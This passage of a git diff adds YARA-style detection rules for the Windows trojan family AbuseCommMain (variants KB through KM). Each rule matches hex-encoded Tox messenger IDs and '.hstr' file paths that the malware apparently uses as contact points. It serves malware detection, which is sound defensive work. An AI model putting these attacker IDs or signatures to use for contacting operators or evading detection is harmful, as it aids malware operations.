& 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KB.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KB.yar new file mode 100644 index 0000000000..d346fb4eae --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KB{ + meta: + description = "Trojan:Win64/AbuseCommMain.KB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 36 00 41 00 31 00 34 00 34 00 38 00 34 00 31 00 36 00 38 00 32 00 38 00 46 00 36 00 44 00 31 00 46 00 33 00 42 00 41 00 37 00 38 00 31 00 34 00 45 00 37 00 46 00 37 00 45 00 37 00 44 00 37 00 43 00 30 00 41 00 33 00 43 00 32 00 31 00 46 00 45 00 37 00 34 00 34 00 37 00 46 00 35 00 34 00 37 00 34 00 33 00 30 00 35 00 31 00 33 00 46 00 32 00 45 00 30 00 41 00 30 00 34 00 34 00 31 00 } //1 tox:6A1448416828F6D1F3BA7814E7F7E7D7C0A3C21FE7447F547430513F2E0A0441 + $a_02_1 = {36 41 31 34 34 38 34 31 36 38 32 38 46 36 44 31 46 33 42 41 37 38 31 34 45 37 46 37 45 37 44 37 43 30 41 33 43 32 31 46 45 37 34 34 37 46 35 34 37 34 33 30 35 31 33 46 32 45 30 41 30 34 34 31 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {36 41 31 34 34 38 34 31 36 38 32 38 46 36 44 31 46 33 42 41 37 38 31 34 45 37 46 37 45 37 44 37 43 30 41 33 43 32 31 46 45 37 34 34 37 46 35 34 37 34 33 30 35 31 33 46 32 45 30 41 30 34 34 31 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 36 41 31 34 34 38 34 31 36 38 32 38 46 36 44 31 46 33 42 41 37 38 31 34 45 37 46 37 45 37 44 37 43 30 41 33 43 32 31 46 45 37 34 34 37 46 35 34 37 34 33 30 35 31 33 46 32 45 30 41 30 34 34 31 2e 68 73 74 72 } //1 \tox\6A1448416828F6D1F3BA7814E7F7E7D7C0A3C21FE7447F547430513F2E0A0441.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KC.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KC.yar new file mode 100644 index 0000000000..334d0e8d1c --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KC.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KC{ + meta: + description = "Trojan:Win64/AbuseCommMain.KC,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 33 00 44 00 43 00 45 00 31 00 43 00 34 00 33 00 34 00 39 00 31 00 46 00 43 00 39 00 32 00 45 00 41 00 37 00 30 00 31 00 30 00 33 00 32 00 32 00 30 00 34 00 30 00 42 00 32 00 35 00 34 00 46 00 44 00 44 00 32 00 37 00 33 00 31 00 30 00 30 00 31 00 43 00 32 00 44 00 44 00 43 00 32 00 42 00 39 00 45 00 38 00 31 00 39 00 46 00 30 00 43 00 39 00 34 00 36 00 42 00 44 00 43 00 33 00 43 00 } //1 tox:3DCE1C43491FC92EA7010322040B254FDD2731001C2DDC2B9E819F0C946BDC3C + $a_02_1 = {33 44 43 45 31 43 34 33 34 39 31 46 43 39 32 45 41 37 30 31 30 33 32 32 30 34 30 42 32 35 34 46 44 44 32 37 33 31 30 30 31 43 32 44 44 43 32 42 39 45 38 31 39 46 30 43 39 34 36 42 44 43 33 43 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {33 44 43 45 31 43 34 33 34 39 31 46 43 39 32 45 41 37 30 31 30 33 32 32 30 34 30 42 32 35 34 46 44 44 32 37 33 31 30 30 31 43 32 44 44 43 32 42 39 45 38 31 39 46 30 43 39 34 36 42 44 43 33 43 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 33 44 43 45 31 43 34 33 34 39 31 46 43 39 32 45 41 37 30 31 30 33 32 32 30 34 30 42 32 35 34 46 44 44 32 37 33 31 30 30 31 43 32 44 44 43 32 42 39 45 38 31 39 46 30 43 39 34 36 42 44 43 33 43 2e 68 73 74 72 } //1 \tox\3DCE1C43491FC92EA7010322040B254FDD2731001C2DDC2B9E819F0C946BDC3C.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KD.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KD.yar new file mode 100644 index 0000000000..5e35243e8a --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KD.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KD{ + meta: + description = "Trojan:Win64/AbuseCommMain.KD,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 46 00 37 00 39 00 41 00 37 00 31 00 41 00 44 00 38 00 42 00 42 00 32 00 45 00 33 00 45 00 37 00 45 00 44 00 46 00 43 00 33 00 38 00 39 00 37 00 30 00 46 00 44 00 43 00 30 00 35 00 45 00 39 00 32 00 32 00 45 00 34 00 32 00 39 00 42 00 35 00 44 00 46 00 43 00 33 00 32 00 35 00 43 00 37 00 44 00 30 00 45 00 39 00 31 00 46 00 32 00 31 00 36 00 44 00 45 00 38 00 46 00 33 00 35 00 33 00 } //1 tox:F79A71AD8BB2E3E7EDFC38970FDC05E922E429B5DFC325C7D0E91F216DE8F353 + $a_02_1 = {46 37 39 41 37 31 41 44 38 42 42 32 45 33 45 37 45 44 46 43 33 38 39 37 30 46 44 43 30 35 45 39 32 32 45 34 32 39 42 35 44 46 43 33 32 35 43 37 44 30 45 39 31 46 32 31 36 44 45 38 46 33 35 33 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {46 37 39 41 37 31 41 44 38 42 42 32 45 33 45 37 45 44 46 43 33 38 39 37 30 46 44 43 30 35 45 39 32 32 45 34 32 39 42 35 44 46 43 33 32 35 43 37 44 30 45 39 31 46 32 31 36 44 45 38 46 33 35 33 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 46 37 39 41 37 31 41 44 38 42 42 32 45 33 45 37 45 44 46 43 33 38 39 37 30 46 44 43 30 35 45 39 32 32 45 34 32 39 42 35 44 46 43 33 32 35 43 37 44 30 45 39 31 46 32 31 36 44 45 38 46 33 35 33 2e 68 73 74 72 } //1 \tox\F79A71AD8BB2E3E7EDFC38970FDC05E922E429B5DFC325C7D0E91F216DE8F353.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KE.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KE.yar new file mode 100644 index 0000000000..c52f0489cf --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KE.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KE{ + meta: + description = "Trojan:Win64/AbuseCommMain.KE,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 41 00 31 00 41 00 36 00 44 00 32 00 45 00 43 00 43 00 38 00 44 00 42 00 31 00 38 00 44 00 41 00 30 00 44 00 35 00 46 00 30 00 34 00 43 00 35 00 45 00 44 00 30 00 31 00 41 00 35 00 36 00 35 00 42 00 35 00 41 00 34 00 36 00 45 00 34 00 30 00 31 00 32 00 46 00 41 00 45 00 36 00 32 00 37 00 41 00 43 00 43 00 42 00 35 00 44 00 37 00 30 00 39 00 42 00 42 00 38 00 39 00 34 00 37 00 37 00 } //1 tox:A1A6D2ECC8DB18DA0D5F04C5ED01A565B5A46E4012FAE627ACCB5D709BB89477 + $a_02_1 = {41 31 41 36 44 32 45 43 43 38 44 42 31 38 44 41 30 44 35 46 30 34 43 35 45 44 30 31 41 35 36 35 42 35 41 34 36 45 34 30 31 32 46 41 45 36 32 37 41 43 43 42 35 44 37 30 39 42 42 38 39 34 37 37 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {41 31 41 36 44 32 45 43 43 38 44 42 31 38 44 41 30 44 35 46 30 34 43 35 45 44 30 31 41 35 36 35 42 35 41 34 36 45 34 30 31 32 46 41 45 36 32 37 41 43 43 42 35 44 37 30 39 42 42 38 39 34 37 37 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 41 31 41 36 44 32 45 43 43 38 44 42 31 38 44 41 30 44 35 46 30 34 43 35 45 44 30 31 41 35 36 35 42 35 41 34 36 45 34 30 31 32 46 41 45 36 32 37 41 43 43 42 35 44 37 30 39 42 42 38 39 34 37 37 2e 68 73 74 72 } //1 \tox\A1A6D2ECC8DB18DA0D5F04C5ED01A565B5A46E4012FAE627ACCB5D709BB89477.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KF.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KF.yar new file mode 100644 index 0000000000..2cd1eb99ea --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KF.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KF{ + meta: + description = "Trojan:Win64/AbuseCommMain.KF,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 33 00 44 00 46 00 38 00 36 00 42 00 31 00 32 00 36 00 33 00 34 00 46 00 34 00 33 00 30 00 38 00 46 00 38 00 31 00 43 00 38 00 36 00 32 00 35 00 31 00 41 00 46 00 39 00 34 00 30 00 44 00 38 00 46 00 36 00 34 00 39 00 32 00 41 00 30 00 37 00 34 00 43 00 38 00 43 00 36 00 46 00 32 00 45 00 46 00 41 00 30 00 44 00 31 00 33 00 34 00 46 00 30 00 32 00 34 00 41 00 36 00 45 00 35 00 34 00 } //1 tox:3DF86B12634F4308F81C86251AF940D8F6492A074C8C6F2EFA0D134F024A6E54 + $a_02_1 = {33 44 46 38 36 42 31 32 36 33 34 46 34 33 30 38 46 38 31 43 38 36 32 35 31 41 46 39 34 30 44 38 46 36 34 39 32 41 30 37 34 43 38 43 36 46 32 45 46 41 30 44 31 33 34 46 30 32 34 41 36 45 35 34 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {33 44 46 38 36 42 31 32 36 33 34 46 34 33 30 38 46 38 31 43 38 36 32 35 31 41 46 39 34 30 44 38 46 36 34 39 32 41 30 37 34 43 38 43 36 46 32 45 46 41 30 44 31 33 34 46 30 32 34 41 36 45 35 34 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 33 44 46 38 36 42 31 32 36 33 34 46 34 33 30 38 46 38 31 43 38 36 32 35 31 41 46 39 34 30 44 38 46 36 34 39 32 41 30 37 34 43 38 43 36 46 32 45 46 41 30 44 31 33 34 46 30 32 34 41 36 45 35 34 2e 68 73 74 72 } //1 \tox\3DF86B12634F4308F81C86251AF940D8F6492A074C8C6F2EFA0D134F024A6E54.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KG.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KG.yar new file mode 100644 index 0000000000..5d6a9dcd21 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KG.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KG{ + meta: + description = "Trojan:Win64/AbuseCommMain.KG,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 31 00 38 00 41 00 42 00 45 00 33 00 32 00 31 00 38 00 44 00 41 00 34 00 31 00 34 00 46 00 46 00 45 00 38 00 38 00 37 00 45 00 41 00 36 00 33 00 45 00 45 00 45 00 38 00 30 00 31 00 35 00 38 00 34 00 30 00 44 00 33 00 37 00 45 00 36 00 30 00 37 00 42 00 34 00 41 00 35 00 35 00 38 00 45 00 38 00 44 00 44 00 45 00 43 00 43 00 42 00 43 00 37 00 38 00 33 00 35 00 37 00 32 00 36 00 42 00 } //1 tox:18ABE3218DA414FFE887EA63EEE8015840D37E607B4A558E8DDECCBC7835726B + $a_02_1 = {31 38 41 42 45 33 32 31 38 44 41 34 31 34 46 46 45 38 38 37 45 41 36 33 45 45 45 38 30 31 35 38 34 30 44 33 37 45 36 30 37 42 34 41 35 35 38 45 38 44 44 45 43 43 42 43 37 38 33 35 37 32 36 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {31 38 41 42 45 33 32 31 38 44 41 34 31 34 46 46 45 38 38 37 45 41 36 33 45 45 45 38 30 31 35 38 34 30 44 33 37 45 36 30 37 42 34 41 35 35 38 45 38 44 44 45 43 43 42 43 37 38 33 35 37 32 36 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 31 38 41 42 45 33 32 31 38 44 41 34 31 34 46 46 45 38 38 37 45 41 36 33 45 45 45 38 30 31 35 38 34 30 44 33 37 45 36 30 37 42 34 41 35 35 38 45 38 44 44 45 43 43 42 43 37 38 33 35 37 32 36 42 2e 68 73 74 72 } //1 \tox\18ABE3218DA414FFE887EA63EEE8015840D37E607B4A558E8DDECCBC7835726B.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KH.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KH.yar new file mode 100644 index 0000000000..5f23341707 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KH.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KH{ + meta: + description = "Trojan:Win64/AbuseCommMain.KH,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 30 00 45 00 37 00 32 00 34 00 35 00 36 00 44 00 46 00 43 00 36 00 34 00 31 00 44 00 30 00 46 00 30 00 30 00 34 00 33 00 44 00 45 00 42 00 44 00 32 00 46 00 34 00 33 00 37 00 37 00 35 00 35 00 30 00 30 00 41 00 34 00 45 00 30 00 34 00 43 00 45 00 34 00 39 00 37 00 44 00 45 00 43 00 36 00 44 00 39 00 36 00 42 00 36 00 33 00 46 00 34 00 35 00 44 00 32 00 44 00 45 00 46 00 33 00 43 00 } //1 tox:0E72456DFC641D0F0043DEBD2F43775500A4E04CE497DEC6D96B63F45D2DEF3C + $a_02_1 = {30 45 37 32 34 35 36 44 46 43 36 34 31 44 30 46 30 30 34 33 44 45 42 44 32 46 34 33 37 37 35 35 30 30 41 34 45 30 34 43 45 34 39 37 44 45 43 36 44 39 36 42 36 33 46 34 35 44 32 44 45 46 33 43 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {30 45 37 32 34 35 36 44 46 43 36 34 31 44 30 46 30 30 34 33 44 45 42 44 32 46 34 33 37 37 35 35 30 30 41 34 45 30 34 43 45 34 39 37 44 45 43 36 44 39 36 42 36 33 46 34 35 44 32 44 45 46 33 43 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 30 45 37 32 34 35 36 44 46 43 36 34 31 44 30 46 30 30 34 33 44 45 42 44 32 46 34 33 37 37 35 35 30 30 41 34 45 30 34 43 45 34 39 37 44 45 43 36 44 39 36 42 36 33 46 34 35 44 32 44 45 46 33 43 2e 68 73 74 72 } //1 \tox\0E72456DFC641D0F0043DEBD2F43775500A4E04CE497DEC6D96B63F45D2DEF3C.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KI.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KI.yar new file mode 100644 index 0000000000..daec9ab2b8 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KI.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KI{ + meta: + description = "Trojan:Win64/AbuseCommMain.KI,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 32 00 45 00 33 00 46 00 41 00 32 00 36 00 31 00 37 00 45 00 36 00 39 00 39 00 32 00 45 00 37 00 39 00 36 00 39 00 34 00 41 00 41 00 37 00 44 00 45 00 34 00 33 00 35 00 45 00 31 00 32 00 31 00 31 00 33 00 35 00 38 00 38 00 35 00 38 00 41 00 30 00 33 00 39 00 35 00 32 00 33 00 46 00 35 00 30 00 44 00 45 00 35 00 36 00 32 00 33 00 45 00 32 00 44 00 41 00 37 00 36 00 36 00 35 00 42 00 } //1 tox:2E3FA2617E6992E79694AA7DE435E1211358858A039523F50DE5623E2DA7665B + $a_02_1 = {32 45 33 46 41 32 36 31 37 45 36 39 39 32 45 37 39 36 39 34 41 41 37 44 45 34 33 35 45 31 32 31 31 33 35 38 38 35 38 41 30 33 39 35 32 33 46 35 30 44 45 35 36 32 33 45 32 44 41 37 36 36 35 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {32 45 33 46 41 32 36 31 37 45 36 39 39 32 45 37 39 36 39 34 41 41 37 44 45 34 33 35 45 31 32 31 31 33 35 38 38 35 38 41 30 33 39 35 32 33 46 35 30 44 45 35 36 32 33 45 32 44 41 37 36 36 35 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 32 45 33 46 41 32 36 31 37 45 36 39 39 32 45 37 39 36 39 34 41 41 37 44 45 34 33 35 45 31 32 31 31 33 35 38 38 35 38 41 30 33 39 35 32 33 46 35 30 44 45 35 36 32 33 45 32 44 41 37 36 36 35 42 2e 68 73 74 72 } //1 \tox\2E3FA2617E6992E79694AA7DE435E1211358858A039523F50DE5623E2DA7665B.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KJ.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KJ.yar new file mode 100644 index 0000000000..b614c72d46 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KJ.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KJ{ + meta: + description = "Trojan:Win64/AbuseCommMain.KJ,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 32 00 34 00 42 00 36 00 34 00 30 00 31 00 46 00 45 00 46 00 42 00 45 00 41 00 42 00 39 00 30 00 42 00 34 00 30 00 39 00 43 00 32 00 32 00 31 00 41 00 43 00 30 00 39 00 43 00 36 00 31 00 41 00 46 00 43 00 38 00 35 00 46 00 30 00 44 00 35 00 41 00 37 00 39 00 41 00 33 00 41 00 42 00 36 00 38 00 36 00 35 00 35 00 46 00 30 00 44 00 30 00 36 00 44 00 46 00 36 00 35 00 45 00 36 00 46 00 } //1 tox:24B6401FEFBEAB90B409C221AC09C61AFC85F0D5A79A3AB68655F0D06DF65E6F + $a_02_1 = {32 34 42 36 34 30 31 46 45 46 42 45 41 42 39 30 42 34 30 39 43 32 32 31 41 43 30 39 43 36 31 41 46 43 38 35 46 30 44 35 41 37 39 41 33 41 42 36 38 36 35 35 46 30 44 30 36 44 46 36 35 45 36 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {32 34 42 36 34 30 31 46 45 46 42 45 41 42 39 30 42 34 30 39 43 32 32 31 41 43 30 39 43 36 31 41 46 43 38 35 46 30 44 35 41 37 39 41 33 41 42 36 38 36 35 35 46 30 44 30 36 44 46 36 35 45 36 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 32 34 42 36 34 30 31 46 45 46 42 45 41 42 39 30 42 34 30 39 43 32 32 31 41 43 30 39 43 36 31 41 46 43 38 35 46 30 44 35 41 37 39 41 33 41 42 36 38 36 35 35 46 30 44 30 36 44 46 36 35 45 36 46 2e 68 73 74 72 } //1 \tox\24B6401FEFBEAB90B409C221AC09C61AFC85F0D5A79A3AB68655F0D06DF65E6F.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KK.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KK.yar new file mode 100644 index 0000000000..0c6d6b779f --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KK.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KK{ + meta: + description = "Trojan:Win64/AbuseCommMain.KK,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 30 00 38 00 38 00 42 00 37 00 37 00 30 00 38 00 46 00 32 00 43 00 31 00 35 00 35 00 37 00 42 00 36 00 30 00 32 00 33 00 42 00 31 00 31 00 30 00 32 00 46 00 46 00 43 00 35 00 43 00 33 00 36 00 43 00 30 00 32 00 33 00 46 00 46 00 34 00 38 00 38 00 33 00 43 00 42 00 30 00 37 00 33 00 46 00 32 00 36 00 41 00 33 00 33 00 42 00 37 00 33 00 38 00 33 00 32 00 43 00 39 00 32 00 36 00 38 00 } //1 tox:088B7708F2C1557B6023B1102FFC5C36C023FF4883CB073F26A33B73832C9268 + $a_02_1 = {30 38 38 42 37 37 30 38 46 32 43 31 35 35 37 42 36 30 32 33 42 31 31 30 32 46 46 43 35 43 33 36 43 30 32 33 46 46 34 38 38 33 43 42 30 37 33 46 32 36 41 33 33 42 37 33 38 33 32 43 39 32 36 38 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {30 38 38 42 37 37 30 38 46 32 43 31 35 35 37 42 36 30 32 33 42 31 31 30 32 46 46 43 35 43 33 36 43 30 32 33 46 46 34 38 38 33 43 42 30 37 33 46 32 36 41 33 33 42 37 33 38 33 32 43 39 32 36 38 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 30 38 38 42 37 37 30 38 46 32 43 31 35 35 37 42 36 30 32 33 42 31 31 30 32 46 46 43 35 43 33 36 43 30 32 33 46 46 34 38 38 33 43 42 30 37 33 46 32 36 41 33 33 42 37 33 38 33 32 43 39 32 36 38 2e 68 73 74 72 } //1 \tox\088B7708F2C1557B6023B1102FFC5C36C023FF4883CB073F26A33B73832C9268.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KL.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KL.yar new file mode 100644 index 0000000000..c93efded6e --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KL.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KL{ + meta: + description = "Trojan:Win64/AbuseCommMain.KL,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 41 00 30 00 46 00 45 00 31 00 30 00 35 00 41 00 38 00 32 00 35 00 32 00 35 00 45 00 43 00 42 00 39 00 34 00 44 00 44 00 32 00 39 00 37 00 37 00 42 00 34 00 41 00 31 00 46 00 38 00 41 00 35 00 41 00 37 00 43 00 46 00 38 00 32 00 46 00 31 00 32 00 44 00 37 00 32 00 30 00 44 00 44 00 38 00 43 00 38 00 44 00 39 00 43 00 43 00 41 00 33 00 46 00 39 00 38 00 42 00 36 00 46 00 35 00 32 00 } //1 tox:A0FE105A82525ECB94DD2977B4A1F8A5A7CF82F12D720DD8C8D9CCA3F98B6F52 + $a_02_1 = {41 30 46 45 31 30 35 41 38 32 35 32 35 45 43 42 39 34 44 44 32 39 37 37 42 34 41 31 46 38 41 35 41 37 43 46 38 32 46 31 32 44 37 32 30 44 44 38 43 38 44 39 43 43 41 33 46 39 38 42 36 46 35 32 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {41 30 46 45 31 30 35 41 38 32 35 32 35 45 43 42 39 34 44 44 32 39 37 37 42 34 41 31 46 38 41 35 41 37 43 46 38 32 46 31 32 44 37 32 30 44 44 38 43 38 44 39 43 43 41 33 46 39 38 42 36 46 35 32 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 41 30 46 45 31 30 35 41 38 32 35 32 35 45 43 42 39 34 44 44 32 39 37 37 42 34 41 31 46 38 41 35 41 37 43 46 38 32 46 31 32 44 37 32 30 44 44 38 43 38 44 39 43 43 41 33 46 39 38 42 36 46 35 32 2e 68 73 74 72 } //1 \tox\A0FE105A82525ECB94DD2977B4A1F8A5A7CF82F12D720DD8C8D9CCA3F98B6F52.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KM.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KM.yar new file mode 100644 index 0000000000..d2f837fab0 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KM.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KM{ + meta: + description = "Trojan:Win64/AbuseCommMain.KM,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 33 00 38 00 32 00 30 00 43 00 34 00 30 00 34 00 30 00 34 00 36 00 38 00 34 00 46 00 46 00 44 00 34 00 34 00 39 00 36 00 43 00 41 00 31 00 44 00 41 00 32 00 46 00 36 00 30 00 38 00 33 00 37 00 34 00 45 00 36 00 30 00 44 00 31 00 45 00 41 00 34 00 36 00 32 00 38 00 32 00 39 00 36 00 44 00 32 00 41 00 44 00 31 00 43 00 33 00 31 00 46 00 45 00 37 00 38 00 37 00 